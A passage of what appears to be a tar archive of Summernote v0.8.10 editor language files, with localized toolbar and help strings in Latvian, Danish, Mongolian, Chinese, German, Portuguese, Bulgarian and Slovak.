noklusējumu"},shortcut:{shortcuts:"Saīsnes",close:"Aizvērt",textFormatting:"Teksta formatēšana",action:"Darbība",paragraphFormatting:"Paragrāfa formatēšana",documentStyle:"Dokumenta stils",extraKeys:"Citas taustiņu kombinācijas"},help:{insertParagraph:"Ievietot Paragrāfu",undo:"Atcelt iepriekšējo darbību",redo:"Atkārtot atcelto darbību",tab:"Atkāpe",untab:"Samazināt atkāpi",bold:"Pārvērst tekstu treknrakstā",italic:"Pārvērst tekstu slīprakstā (kursīvā)",underline:"Pasvītrot tekstu",strikethrough:"Nosvītrot tekstu",removeFormat:"Notīrīt stilu no teksta",justifyLeft:"Līdzīnāt saturu pa kreisi",justifyCenter:"Centrēt saturu",justifyRight:"Līdzīnāt saturu pa labi",justifyFull:"Izlīdzināt saturu gar abām malām",insertUnorderedList:"Ievietot nenumurētu sarakstu",insertOrderedList:"Ievietot numurētu sarakstu",outdent:"Samazināt/noņemt atkāpi paragrāfam",indent:"Uzlikt atkāpi paragrāfam",formatPara:"Mainīt bloka tipu uz (p) Paragrāfu",formatH1:"Mainīt bloka tipu uz virsrakstu H1",formatH2:"Mainīt bloka tipu uz virsrakstu H2",formatH3:"Mainīt bloka tipu uz virsrakstu H3",formatH4:"Mainīt bloka tipu uz virsrakstu H4",formatH5:"Mainīt bloka tipu uz virsrakstu H5",formatH6:"Mainīt bloka tipu uz virsrakstu H6",insertHorizontalRule:"Ievietot horizontālu līniju","linkDialog.show":"Parādīt saites logu"},history:{undo:"Atsauks (undo)",redo:"Atkārtot (redo)"},specialChar:{specialChar:"SPECIAL CHARACTERS",select:"Select Special characters"}}})}(jQuery);lang/summernote-da-DK.min.js000064400000006772151677331550011712 0ustar00/*! Summernote v0.8.10 | (c) 2013- Alan Hong and other contributors | MIT license */

!function(e){e.extend(e.summernote.lang,{"da-DK":{font:{bold:"Fed",italic:"Kursiv",underline:"Understreget",clear:"Fjern formatering",height:"Højde",name:"Skrifttype",strikethrough:"Gennemstreget",subscript:"Sænket skrift",superscript:"Hævet skrift",size:"Skriftstørrelse"},image:{image:"Billede",insert:"Indsæt billede",resizeFull:"Original størrelse",resizeHalf:"Halv størrelse",resizeQuarter:"Kvart størrelse",floatLeft:"Venstrestillet",floatRight:"Højrestillet",floatNone:"Fjern formatering",shapeRounded:"Form: Runde kanter",shapeCircle:"Form: Cirkel",shapeThumbnail:"Form: Miniature",shapeNone:"Form: Ingen",dragImageHere:"Træk billede hertil",dropImage:"Slip billede",selectFromFiles:"Vælg billed-fil",maximumFileSize:"Maks fil størrelse",maximumFileSizeError:"Filen er større end maks tilladte fil størrelse!",url:"Billede URL",remove:"Fjern billede",original:"Original"},video:{video:"Video",videoLink:"Video Link",insert:"Indsæt Video",url:"Video URL?",providers:"(YouTube, Vimeo, Vine, Instagram, DailyMotion eller Youku)"},link:{link:"Link",insert:"Indsæt link",unlink:"Fjern link",edit:"Rediger",textToDisplay:"Visningstekst",url:"Hvor skal linket pege hen?",openInNewWindow:"Åbn i nyt vindue"},table:{table:"Tabel",addRowAbove:"Add row above",addRowBelow:"Add row below",addColLeft:"Add column left",addColRight:"Add column right",delRow:"Delete row",delCol:"Delete column",delTable:"Delete table"},hr:{insert:"Indsæt horisontal linje"},style:{style:"Stil",p:"p",blockquote:"Citat",pre:"Kode",h1:"Overskrift 1",h2:"Overskrift 2",h3:"Overskrift 3",h4:"Overskrift 4",h5:"Overskrift 5",h6:"Overskrift 6"},lists:{unordered:"Punktopstillet liste",ordered:"Nummereret liste"},options:{help:"Hjælp",fullscreen:"Fuld skærm",codeview:"HTML-Visning"},paragraph:{paragraph:"Afsnit",outdent:"Formindsk indryk",indent:"Forøg indryk",left:"Venstrestillet",center:"Centreret",right:"Højrestillet",justify:"Blokjuster"},color:{recent:"Nyligt valgt farve",more:"Flere farver",background:"Baggrund",foreground:"Forgrund",transparent:"Transparent",setTransparent:"Sæt transparent",reset:"Nulstil",resetToDefault:"Gendan standardindstillinger"},shortcut:{shortcuts:"Genveje",close:"Luk",textFormatting:"Tekstformatering",action:"Handling",paragraphFormatting:"Afsnitsformatering",documentStyle:"Dokumentstil",extraKeys:"Extra keys"},help:{insertParagraph:"Insert Paragraph",undo:"Undoes the last command",redo:"Redoes the last command",tab:"Tab",untab:"Untab",bold:"Set a bold style",italic:"Set a italic style",underline:"Set a underline style",strikethrough:"Set a strikethrough style",removeFormat:"Clean a style",justifyLeft:"Set left align",justifyCenter:"Set center align",justifyRight:"Set right align",justifyFull:"Set full align",insertUnorderedList:"Toggle unordered list",insertOrderedList:"Toggle ordered list",outdent:"Outdent on current paragraph",indent:"Indent on current paragraph",formatPara:"Change current block's format as a paragraph(P tag)",formatH1:"Change current block's format as H1",formatH2:"Change current block's format as H2",formatH3:"Change current block's format as H3",formatH4:"Change current block's format as H4",formatH5:"Change current block's format as H5",formatH6:"Change current block's format as H6",insertHorizontalRule:"Insert horizontal rule","linkDialog.show":"Show Link Dialog"},history:{undo:"Fortryd",redo:"Annuller fortryd"},specialChar:{specialChar:"SPECIAL CHARACTERS",select:"Select Special characters"}}})}(jQuery);lang/summernote-mn-MN.min.js000064400000010633151677331550011743 0ustar00/*! Summernote v0.8.10 | (c) 2013- Alan Hong and other contributors | MIT license */

!function(e){e.extend(e.summernote.lang,{"mn-MN":{font:{bold:"Тод",italic:"Налуу",underline:"Доогуур зураас",clear:"Цэвэрлэх",height:"Өндөр",name:"Фонт",superscript:"Дээд илтгэгч",subscript:"Доод илтгэгч",strikethrough:"Дарах",size:"Хэмжээ"},image:{image:"Зураг",insert:"Оруулах",resizeFull:"Хэмжээ бүтэн",resizeHalf:"Хэмжээ 1/2",resizeQuarter:"Хэмжээ 1/4",floatLeft:"Зүүн талд байрлуулах",floatRight:"Баруун талд байрлуулах",floatNone:"Анхдагч байрлалд аваачих",shapeRounded:"Хүрээ: Дугуй",shapeCircle:"Хүрээ: Тойрог",shapeThumbnail:"Хүрээ: Хураангуй",shapeNone:"Хүрээгүй",dragImageHere:"Зургийг энд чирч авчирна уу",dropImage:"Drop image or Text",selectFromFiles:"Файлуудаас сонгоно уу",maximumFileSize:"Файлын дээд хэмжээ",maximumFileSizeError:"Файлын дээд хэмжээ хэтэрсэн",url:"Зургийн URL",remove:"Зургийг устгах",original:"Original"},video:{video:"Видео",videoLink:"Видео холбоос",insert:"Видео оруулах",url:"Видео URL?",providers:"(YouTube, Vimeo, Vine, Instagram, DailyMotion болон Youku)"},link:{link:"Холбоос",insert:"Холбоос оруулах",unlink:"Холбоос арилгах",edit:"Засварлах",textToDisplay:"Харуулах бичвэр",url:"Энэ холбоос хаашаа очих вэ?",openInNewWindow:"Шинэ цонхонд нээх"},table:{table:"Хүснэгт",addRowAbove:"Add row above",addRowBelow:"Add row below",addColLeft:"Add column left",addColRight:"Add column right",delRow:"Delete row",delCol:"Delete column",delTable:"Delete table"},hr:{insert:"Хэвтээ шугам оруулах"},style:{style:"Хэв маяг",p:"p",blockquote:"Иш татах",pre:"Эх сурвалж",h1:"Гарчиг 1",h2:"Гарчиг 2",h3:"Гарчиг 3",h4:"Гарчиг 4",h5:"Гарчиг 5",h6:"Гарчиг 6"},lists:{unordered:"Эрэмбэлэгдээгүй",ordered:"Эрэмбэлэгдсэн"},options:{help:"Тусламж",fullscreen:"Дэлгэцийг дүүргэх",codeview:"HTML-Code харуулах"},paragraph:{paragraph:"Хэсэг",outdent:"Догол мөр хасах",indent:"Догол мөр нэмэх",left:"Зүүн тийш эгнүүлэх",center:"Төвд эгнүүлэх",right:"Баруун тийш эгнүүлэх",justify:"Мөрийг тэгшлэх"},color:{recent:"Сүүлд хэрэглэсэн өнгө",more:"Өөр өнгөнүүд",background:"Дэвсгэр өнгө",foreground:"Үсгийн өнгө",transparent:"Тунгалаг",setTransparent:"Тунгалаг болгох",reset:"Анхдагч өнгөөр тохируулах",resetToDefault:"Хэвд нь оруулах"},shortcut:{shortcuts:"Богино холбоос",close:"Хаалт",textFormatting:"Бичвэрийг хэлбэржүүлэх",action:"Үйлдэл",paragraphFormatting:"Догол мөрийг хэлбэржүүлэх",documentStyle:"Бичиг баримтын хэв загвар",extraKeys:"Extra keys"},help:{insertParagraph:"Insert Paragraph",undo:"Undoes the last command",redo:"Redoes the last command",tab:"Tab",untab:"Untab",bold:"Set a bold style",italic:"Set a italic style",underline:"Set a underline style",strikethrough:"Set a strikethrough style",removeFormat:"Clean a style",justifyLeft:"Set left align",justifyCenter:"Set center align",justifyRight:"Set right align",justifyFull:"Set full align",insertUnorderedList:"Toggle unordered list",insertOrderedList:"Toggle ordered list",outdent:"Outdent on current paragraph",indent:"Indent on current paragraph",formatPara:"Change current block's format as a paragraph(P tag)",formatH1:"Change current block's format as H1",formatH2:"Change current block's format as H2",formatH3:"Change current block's format as H3",formatH4:"Change current block's format as H4",formatH5:"Change current block's format as H5",formatH6:"Change current block's format as H6",insertHorizontalRule:"Insert horizontal rule","linkDialog.show":"Show Link Dialog"},history:{undo:"Буцаах",redo:"Дахин хийх"},specialChar:{specialChar:"Тусгай тэмдэгт",select:"Тусгай тэмдэгт сонгох"}}})}(jQuery);lang/summernote-zh-CN.js000064400000011161151677331550011153 0ustar00(function($) {
  $.extend($.summernote.lang, {
    'zh-CN': {
      font: {
        bold: '粗体',
        italic: '斜体',
        underline: '下划线',
        clear: '清除格式',
        height: '行高',
        name: '字体',
        strikethrough: '删除线',
        subscript: '下标',
        superscript: '上标',
        size: '字号'
      },
      image: {
        image: '图片',
        insert: '插入图片',
        resizeFull: '缩放至 100%',
        resizeHalf: '缩放至 50%',
        resizeQuarter: '缩放至 25%',
        floatLeft: '靠左浮动',
        floatRight: '靠右浮动',
        floatNone: '取消浮动',
        shapeRounded: '形状: 圆角',
        shapeCircle: '形状: 圆',
        shapeThumbnail: '形状: 缩略图',
        shapeNone: '形状: 无',
        dragImageHere: '将图片拖拽至此处',
        dropImage: 'Drop image or Text',
        selectFromFiles: '从本地上传',
        maximumFileSize: '文件大小最大值',
        maximumFileSizeError: '文件大小超出最大值。',
        url: '图片地址',
        remove: '移除图片',
        original: 'Original'
      },
      video: {
        video: '视频',
        videoLink: '视频链接',
        insert: '插入视频',
        url: '视频地址',
        providers: '(优酷, 腾讯, Instagram, DailyMotion, Youtube等)'
      },
      link: {
        link: '链接',
        insert: '插入链接',
        unlink: '去除链接',
        edit: '编辑链接',
        textToDisplay: '显示文本',
        url: '链接地址',
        openInNewWindow: '在新窗口打开'
      },
      table: {
        table: '表格',
        addRowAbove: 'Add row above',
        addRowBelow: 'Add row below',
        addColLeft: 'Add column left',
        addColRight: 'Add column right',
        delRow: 'Delete row',
        delCol: 'Delete column',
        delTable: 'Delete table'
      },
      hr: {
        insert: '水平线'
      },
      style: {
        style: '样式',
        p: '普通',
        blockquote: '引用',
        pre: '代码',
        h1: '标题 1',
        h2: '标题 2',
        h3: '标题 3',
        h4: '标题 4',
        h5: '标题 5',
        h6: '标题 6'
      },
      lists: {
        unordered: '无序列表',
        ordered: '有序列表'
      },
      options: {
        help: '帮助',
        fullscreen: '全屏',
        codeview: '源代码'
      },
      paragraph: {
        paragraph: '段落',
        outdent: '减少缩进',
        indent: '增加缩进',
        left: '左对齐',
        center: '居中对齐',
        right: '右对齐',
        justify: '两端对齐'
      },
      color: {
        recent: '最近使用',
        more: '更多',
        background: '背景',
        foreground: '前景',
        transparent: '透明',
        setTransparent: '透明',
        reset: '重置',
        resetToDefault: '默认'
      },
      shortcut: {
        shortcuts: '快捷键',
        close: '关闭',
        textFormatting: '文本格式',
        action: '动作',
        paragraphFormatting: '段落格式',
        documentStyle: '文档样式',
        extraKeys: '额外按键'
      },
      help: {
        insertParagraph: '插入段落',
        undo: '撤销',
        redo: '重做',
        tab: '增加缩进',
        untab: '减少缩进',
        bold: '粗体',
        italic: '斜体',
        underline: '下划线',
        strikethrough: '删除线',
        removeFormat: '清除格式',
        justifyLeft: '左对齐',
        justifyCenter: '居中对齐',
        justifyRight: '右对齐',
        justifyFull: '两端对齐',
        insertUnorderedList: '无序列表',
        insertOrderedList: '有序列表',
        outdent: '减少缩进',
        indent: '增加缩进',
        formatPara: '设置选中内容样式为 普通',
        formatH1: '设置选中内容样式为 标题1',
        formatH2: '设置选中内容样式为 标题2',
        formatH3: '设置选中内容样式为 标题3',
        formatH4: '设置选中内容样式为 标题4',
        formatH5: '设置选中内容样式为 标题5',
        formatH6: '设置选中内容样式为 标题6',
        insertHorizontalRule: '插入水平线',
        'linkDialog.show': '显示链接对话框'
      },
      history: {
        undo: '撤销',
        redo: '重做'
      },
      specialChar: {
        specialChar: 'SPECIAL CHARACTERS',
        select: 'Select Special characters'
      }
    }
  });
})(jQuery);
lang/summernote-de-DE.min.js000064400000007155151677331550011704 0ustar00/*! Summernote v0.8.10 | (c) 2013- Alan Hong and other contributors | MIT license */

!function(e){e.extend(e.summernote.lang,{"de-DE":{font:{bold:"Fett",italic:"Kursiv",underline:"Unterstreichen",clear:"Zurücksetzen",height:"Zeilenhöhe",name:"Schriftart",strikethrough:"Durchgestrichen",subscript:"Tiefgestellt",superscript:"Hochgestellt",size:"Schriftgröße"},image:{image:"Grafik",insert:"Grafik einfügen",resizeFull:"Originalgröße",resizeHalf:"Größe 1/2",resizeQuarter:"Größe 1/4",floatLeft:"Linksbündig",floatRight:"Rechtsbündig",floatNone:"Kein Textfluss",shapeRounded:"Rahmen: Abgerundet",shapeCircle:"Rahmen: Kreisförmig",shapeThumbnail:"Rahmen: Thumbnail",shapeNone:"Kein Rahmen",dragImageHere:"Ziehen Sie ein Bild mit der Maus hierher",dropImage:"Drop image or Text",selectFromFiles:"Wählen Sie eine Datei aus",maximumFileSize:"Maximale Dateigröße",maximumFileSizeError:"Maximale Dateigröße überschritten",url:"Grafik URL",remove:"Grafik entfernen",original:"Original"},video:{video:"Video",videoLink:"Video Link",insert:"Video einfügen",url:"Video URL?",providers:"(YouTube, Vimeo, Vine, Instagram, DailyMotion oder Youku)"},link:{link:"Link",insert:"Link einfügen",unlink:"Link entfernen",edit:"Editieren",textToDisplay:"Anzeigetext",url:"Ziel des Links?",openInNewWindow:"In einem neuen Fenster öffnen"},table:{table:"Tabelle",addRowAbove:"Zeile oberhalb einfügen",addRowBelow:"Zeile unterhalb einfügen",addColLeft:"Spalte links einfügen",addColRight:"Spalte rechts einfügen",delRow:"Zeile löschen",delCol:"Spalte löschen",delTable:"Tabelle löschen"},hr:{insert:"Eine horizontale Linie einfügen"},style:{style:"Stil",p:"Normal",blockquote:"Zitat",pre:"Quellcode",h1:"Überschrift 1",h2:"Überschrift 2",h3:"Überschrift 3",h4:"Überschrift 4",h5:"Überschrift 5",h6:"Überschrift 6"},lists:{unordered:"Aufzählung",ordered:"Nummerierung"},options:{help:"Hilfe",fullscreen:"Vollbild",codeview:"HTML-Code anzeigen"},paragraph:{paragraph:"Absatz",outdent:"Einzug vergrößern",indent:"Einzug verkleinern",left:"Links ausrichten",center:"Zentriert ausrichten",right:"Rechts ausrichten",justify:"Blocksatz"},color:{recent:"Letzte Farbe",more:"Mehr Farben",background:"Hintergrundfarbe",foreground:"Schriftfarbe",transparent:"Transparenz",setTransparent:"Transparenz setzen",reset:"Zurücksetzen",resetToDefault:"Auf Standard zurücksetzen"},shortcut:{shortcuts:"Tastenkürzel",close:"Schließen",textFormatting:"Textformatierung",action:"Aktion",paragraphFormatting:"Absatzformatierung",documentStyle:"Dokumentenstil"},help:{insertParagraph:"Insert Paragraph",undo:"Undoes the last command",redo:"Redoes the last command",tab:"Tab",untab:"Untab",bold:"Set a bold style",italic:"Set a italic style",underline:"Set a underline style",strikethrough:"Set a strikethrough style",removeFormat:"Clean a style",justifyLeft:"Set left align",justifyCenter:"Set center align",justifyRight:"Set right align",justifyFull:"Set full align",insertUnorderedList:"Toggle unordered list",insertOrderedList:"Toggle ordered list",outdent:"Outdent on current paragraph",indent:"Indent on current paragraph",formatPara:"Change current block's format as a paragraph(P tag)",formatH1:"Change current block's format as H1",formatH2:"Change current block's format as H2",formatH3:"Change current block's format as H3",formatH4:"Change current block's format as H4",formatH5:"Change current block's format as H5",formatH6:"Change current block's format as H6",insertHorizontalRule:"Insert horizontal rule","linkDialog.show":"Show Link Dialog"},history:{undo:"Rückgängig",redo:"Wiederholen"},specialChar:{specialChar:"SONDERZEICHEN",select:"Sonderzeichen auswählen"}}})}(jQuery);lang/summernote-pt-BR.min.js000064400000007131151677331550011744 0ustar00/*! Summernote v0.8.10 | (c) 2013- Alan Hong and other contributors | MIT license */

!function(a){a.extend(a.summernote.lang,{"pt-BR":{font:{bold:"Negrito",italic:"Itálico",underline:"Sublinhado",clear:"Remover estilo da fonte",height:"Altura da linha",name:"Fonte",strikethrough:"Riscado",subscript:"Subscript",superscript:"Superscript",size:"Tamanho da fonte"},image:{image:"Imagem",insert:"Inserir imagem",resizeFull:"Redimensionar Completamente",resizeHalf:"Redimensionar pela Metade",resizeQuarter:"Redimensionar um Quarto",floatLeft:"Flutuar para Esquerda",floatRight:"Flutuar para Direira",floatNone:"Não Flutuar",shapeRounded:"Shape: Rounded",shapeCircle:"Shape: Circle",shapeThumbnail:"Shape: Thumbnail",shapeNone:"Shape: None",dragImageHere:"Arraste uma imagem para cá",dropImage:"Drop image or Text",selectFromFiles:"Selecione a partir dos arquivos",maximumFileSize:"Maximum file size",maximumFileSizeError:"Maximum file size exceeded.",url:"URL da imagem",remove:"Remove Image",original:"Original"},video:{video:"Vídeo",videoLink:"Link para vídeo",insert:"Inserir vídeo",url:"URL do vídeo?",providers:"(YouTube, Vimeo, Vine, Instagram, DailyMotion ou Youku)"},link:{link:"Link",insert:"Inserir link",unlink:"Remover link",edit:"Editar",textToDisplay:"Texto para exibir",url:"Para qual URL esse link leva?",openInNewWindow:"Abrir em uma nova janela"},table:{table:"Tabela",addRowAbove:"Adicionar linha acima",addRowBelow:"Adicionar linha abaixo",addColLeft:"Adicionar coluna a esquerda",addColRight:"Adicionar coluna a direita",delRow:"Excluir linha",delCol:"Excluir coluna",delTable:"Delete table"},hr:{insert:"Inserir linha horizontal"},style:{style:"Estilo",normal:"Normal",blockquote:"Citação",pre:"Código",h1:"Título 1",h2:"Título 2",h3:"Título 3",h4:"Título 4",h5:"Título 5",h6:"Título 6"},lists:{unordered:"Lista com marcadores",ordered:"Lista numerada"},options:{help:"Ajuda",fullscreen:"Tela cheia",codeview:"Ver código-fonte"},paragraph:{paragraph:"Parágrafo",outdent:"Menor tabulação",indent:"Maior tabulação",left:"Alinhar à esquerda",center:"Alinhar ao centro",right:"Alinha à direita",justify:"Justificado"},color:{recent:"Cor recente",more:"Mais cores",background:"Fundo",foreground:"Fonte",transparent:"Transparente",setTransparent:"Fundo transparente",reset:"Restaurar",resetToDefault:"Restaurar padrão"},shortcut:{shortcuts:"Atalhos do teclado",close:"Fechar",textFormatting:"Formatação de texto",action:"Ação",paragraphFormatting:"Formatação de parágrafo",documentStyle:"Estilo de documento",extraKeys:"Extra keys"},help:{insertParagraph:"Inserir Parágrafo",undo:"Desfazer o último comando",redo:"Refazer o último comando",tab:"Tab",untab:"Desfazer tab",bold:"Colocar em negrito",italic:"Colocar em itálico",underline:"Sublinhado",strikethrough:"Tachado",removeFormat:"Remover estilo",justifyLeft:"Alinhar à esquerda",justifyCenter:"Centralizar",justifyRight:"Alinhar à esquerda",justifyFull:"Justificar",insertUnorderedList:"Lista não ordenada",insertOrderedList:"Lista ordenada",outdent:"Recuar parágrafo atual",indent:"Avançar parágrafo atual",formatPara:"Alterar formato do bloco para parágrafo(tag P)",formatH1:"Alterar formato do bloco para H1",formatH2:"Alterar formato do bloco para H2",formatH3:"Alterar formato do bloco para H3",formatH4:"Alterar formato do bloco para H4",formatH5:"Alterar formato do bloco para H5",formatH6:"Alterar formato do bloco para H6",insertHorizontalRule:"Inserir régua horizontal","linkDialog.show":"Inserir um Hiperlink"},history:{undo:"Desfazer",redo:"Refazer"},specialChar:{specialChar:"SPECIAL CHARACTERS",select:"Select Special characters"}}})}(jQuery);lang/summernote-bg-BG.js000064400000013507151677331550011120 0ustar00(function($) {
  $.extend($.summernote.lang, {
    'bg-BG': {
      font: {
        bold: 'Удебелен',
        italic: 'Наклонен',
        underline: 'Подчертан',
        clear: 'Изчисти стиловете',
        height: 'Височина',
        name: 'Шрифт',
        strikethrough: 'Задраскано',
        subscript: 'Долен индекс',
        superscript: 'Горен индекс',
        size: 'Размер на шрифта'
      },
      image: {
        image: 'Изображение',
        insert: 'Постави картинка',
        resizeFull: 'Цял размер',
        resizeHalf: 'Размер на 50%',
        resizeQuarter: 'Размер на 25%',
        floatLeft: 'Подравни в ляво',
        floatRight: 'Подравни в дясно',
        floatNone: 'Без подравняване',
        shapeRounded: 'Shape: Rounded',
        shapeCircle: 'Shape: Circle',
        shapeThumbnail: 'Shape: Thumbnail',
        shapeNone: 'Shape: None',
        dragImageHere: 'Пуснете изображението тук',
        dropImage: 'Drop image or Text',
        selectFromFiles: 'Изберете файл',
        maximumFileSize: 'Maximum file size',
        maximumFileSizeError: 'Maximum file size exceeded.',
        url: 'URL адрес на изображение',
        remove: 'Премахни изображение',
        original: 'Original'
      },
      video: {
        video: 'Video',
        videoLink: 'Video Link',
        insert: 'Insert Video',
        url: 'Video URL?',
        providers: '(YouTube, Vimeo, Vine, Instagram, DailyMotion or Youku)'
      },
      link: {
        link: 'Връзка',
        insert: 'Добави връзка',
        unlink: 'Премахни връзка',
        edit: 'Промени',
        textToDisplay: 'Текст за показване',
        url: 'URL адрес',
        openInNewWindow: 'Отвори в нов прозорец'
      },
      table: {
        table: 'Таблица',
        addRowAbove: 'Add row above',
        addRowBelow: 'Add row below',
        addColLeft: 'Add column left',
        addColRight: 'Add column right',
        delRow: 'Delete row',
        delCol: 'Delete column',
        delTable: 'Delete table'
      },
      hr: {
        insert: 'Добави хоризонтална линия'
      },
      style: {
        style: 'Стил',
        p: 'Нормален',
        blockquote: 'Цитат',
        pre: 'Код',
        h1: 'Заглавие 1',
        h2: 'Заглавие 2',
        h3: 'Заглавие 3',
        h4: 'Заглавие 4',
        h5: 'Заглавие 5',
        h6: 'Заглавие 6'
      },
      lists: {
        unordered: 'Символен списък',
        ordered: 'Цифров списък'
      },
      options: {
        help: 'Помощ',
        fullscreen: 'На цял екран',
        codeview: 'Преглед на код'
      },
      paragraph: {
        paragraph: 'Параграф',
        outdent: 'Намаляване на отстъпа',
        indent: 'Абзац',
        left: 'Подравняване в ляво',
        center: 'Център',
        right: 'Подравняване в дясно',
        justify: 'Разтягане по ширина'
      },
      color: {
        recent: 'Последния избран цвят',
        more: 'Още цветове',
        background: 'Цвят на фона',
        foreground: 'Цвят на шрифта',
        transparent: 'Прозрачен',
        setTransparent: 'Направете прозрачен',
        reset: 'Възстанови',
        resetToDefault: 'Възстанови оригиналните'
      },
      shortcut: {
        shortcuts: 'Клавишни комбинации',
        close: 'Затвори',
        textFormatting: 'Форматиране на текста',
        action: 'Действие',
        paragraphFormatting: 'Форматиране на параграф',
        documentStyle: 'Стил на документа',
        extraKeys: 'Extra keys'
      },
      help: {
        'insertParagraph': 'Insert Paragraph',
        'undo': 'Undoes the last command',
        'redo': 'Redoes the last command',
        'tab': 'Tab',
        'untab': 'Untab',
        'bold': 'Set a bold style',
        'italic': 'Set a italic style',
        'underline': 'Set a underline style',
        'strikethrough': 'Set a strikethrough style',
        'removeFormat': 'Clean a style',
        'justifyLeft': 'Set left align',
        'justifyCenter': 'Set center align',
        'justifyRight': 'Set right align',
        'justifyFull': 'Set full align',
        'insertUnorderedList': 'Toggle unordered list',
        'insertOrderedList': 'Toggle ordered list',
        'outdent': 'Outdent on current paragraph',
        'indent': 'Indent on current paragraph',
        'formatPara': 'Change current block\'s format as a paragraph(P tag)',
        'formatH1': 'Change current block\'s format as H1',
        'formatH2': 'Change current block\'s format as H2',
        'formatH3': 'Change current block\'s format as H3',
        'formatH4': 'Change current block\'s format as H4',
        'formatH5': 'Change current block\'s format as H5',
        'formatH6': 'Change current block\'s format as H6',
        'insertHorizontalRule': 'Insert horizontal rule',
        'linkDialog.show': 'Show Link Dialog'
      },
      history: {
        undo: 'Назад',
        redo: 'Напред'
      },
      specialChar: {
        specialChar: 'SPECIAL CHARACTERS',
        select: 'Select Special characters'
      }
    }
  });
})(jQuery);
lang/summernote-sk-SK.js000064400000012117151677331550011166 0ustar00(function($) {
  $.extend($.summernote.lang, {
    'sk-SK': {
      font: {
        bold: 'Tučné',
        italic: 'Kurzíva',
        underline: 'Podčiarknutie',
        clear: 'Odstrániť štýl písma',
        height: 'Výška riadku',
        strikethrough: 'Prečiarknuté',
        subscript: 'Subscript',
        superscript: 'Superscript',
        size: 'Veľkosť písma'
      },
      image: {
        image: 'Obrázok',
        insert: 'Vložiť obrázok',
        resizeFull: 'Pôvodná veľkosť',
        resizeHalf: 'Polovičná veľkosť',
        resizeQuarter: 'Štvrtinová veľkosť',
        floatLeft: 'Umiestniť doľava',
        floatRight: 'Umiestniť doprava',
        floatNone: 'Bez zarovnania',
        shapeRounded: 'Shape: Rounded',
        shapeCircle: 'Shape: Circle',
        shapeThumbnail: 'Shape: Thumbnail',
        shapeNone: 'Shape: None',
        dragImageHere: 'Pretiahnuť sem obrázok',
        dropImage: 'Drop image or Text',
        selectFromFiles: 'Vybrať súbor',
        maximumFileSize: 'Maximum file size',
        maximumFileSizeError: 'Maximum file size exceeded.',
        url: 'URL obrázku',
        remove: 'Remove Image',
        original: 'Original'
      },
      video: {
        video: 'Video',
        videoLink: 'Odkaz videa',
        insert: 'Vložiť video',
        url: 'URL videa?',
        providers: '(YouTube, Vimeo, Vine, Instagram, DailyMotion alebo Youku)'
      },
      link: {
        link: 'Odkaz',
        insert: 'Vytvoriť odkaz',
        unlink: 'Zrušiť odkaz',
        edit: 'Upraviť',
        textToDisplay: 'Zobrazovaný text',
        url: 'Na akú URL adresu má tento odkaz viesť?',
        openInNewWindow: 'Otvoriť v novom okne'
      },
      table: {
        table: 'Tabuľka',
        addRowAbove: 'Add row above',
        addRowBelow: 'Add row below',
        addColLeft: 'Add column left',
        addColRight: 'Add column right',
        delRow: 'Delete row',
        delCol: 'Delete column',
        delTable: 'Delete table'
      },
      hr: {
        insert: 'Vložit vodorovnú čiaru'
      },
      style: {
        style: 'Štýl',
        p: 'Normálny',
        blockquote: 'Citácia',
        pre: 'Kód',
        h1: 'Nadpis 1',
        h2: 'Nadpis 2',
        h3: 'Nadpis 3',
        h4: 'Nadpis 4',
        h5: 'Nadpis 5',
        h6: 'Nadpis 6'
      },
      lists: {
        unordered: 'Odrážkový zoznam',
        ordered: 'Číselný zoznam'
      },
      options: {
        help: 'Pomoc',
        fullscreen: 'Celá obrazovka',
        codeview: 'HTML kód'
      },
      paragraph: {
        paragraph: 'Odsek',
        outdent: 'Zväčšiť odsadenie',
        indent: 'Zmenšiť odsadenie',
        left: 'Zarovnať doľava',
        center: 'Zarovnať na stred',
        right: 'Zarovnať doprava',
        justify: 'Zarovnať obojstranne'
      },
      color: {
        recent: 'Aktuálna farba',
        more: 'Dalšie farby',
        background: 'Farba pozadia',
        foreground: 'Farba písma',
        transparent: 'Priehľadnosť',
        setTransparent: 'Nastaviť priehľadnosť',
        reset: 'Obnoviť',
        resetToDefault: 'Obnoviť prednastavené'
      },
      shortcut: {
        shortcuts: 'Klávesové skratky',
        close: 'Zavrieť',
        textFormatting: 'Formátovanie textu',
        action: 'Akcia',
        paragraphFormatting: 'Formátovanie odseku',
        documentStyle: 'Štýl dokumentu'
      },
      help: {
        'insertParagraph': 'Insert Paragraph',
        'undo': 'Undoes the last command',
        'redo': 'Redoes the last command',
        'tab': 'Tab',
        'untab': 'Untab',
        'bold': 'Set a bold style',
        'italic': 'Set a italic style',
        'underline': 'Set a underline style',
        'strikethrough': 'Set a strikethrough style',
        'removeFormat': 'Clean a style',
        'justifyLeft': 'Set left align',
        'justifyCenter': 'Set center align',
        'justifyRight': 'Set right align',
        'justifyFull': 'Set full align',
        'insertUnorderedList': 'Toggle unordered list',
        'insertOrderedList': 'Toggle ordered list',
        'outdent': 'Outdent on current paragraph',
        'indent': 'Indent on current paragraph',
        'formatPara': 'Change current block\'s format as a paragraph(P tag)',
        'formatH1': 'Change current block\'s format as H1',
        'formatH2': 'Change current block\'s format as H2',
        'formatH3': 'Change current block\'s format as H3',
        'formatH4': 'Change current block\'s format as H4',
        'formatH5': 'Change current block\'s format as H5',
        'formatH6': 'Change current block\'s format as H6',
        'insertHorizontalRule': 'Insert horizontal rule',
        'linkDialog.show': 'Show Link Dialog'
      },
      history: {
        undo: 'Krok vzad',
        redo: 'Krok dopredu'
      },
      specialChar: {
        specialChar: 'SPECIAL CHARACTERS',
        select: 'Select Special characters'
      }
    }
  });
})(jQuery);
lang/summernote-fr-FR.min.js000064400000007737151677331550011750 0ustar00/*! Summernote v0.8.10 | (c) 2013- Alan Hong and other contributors | MIT license */

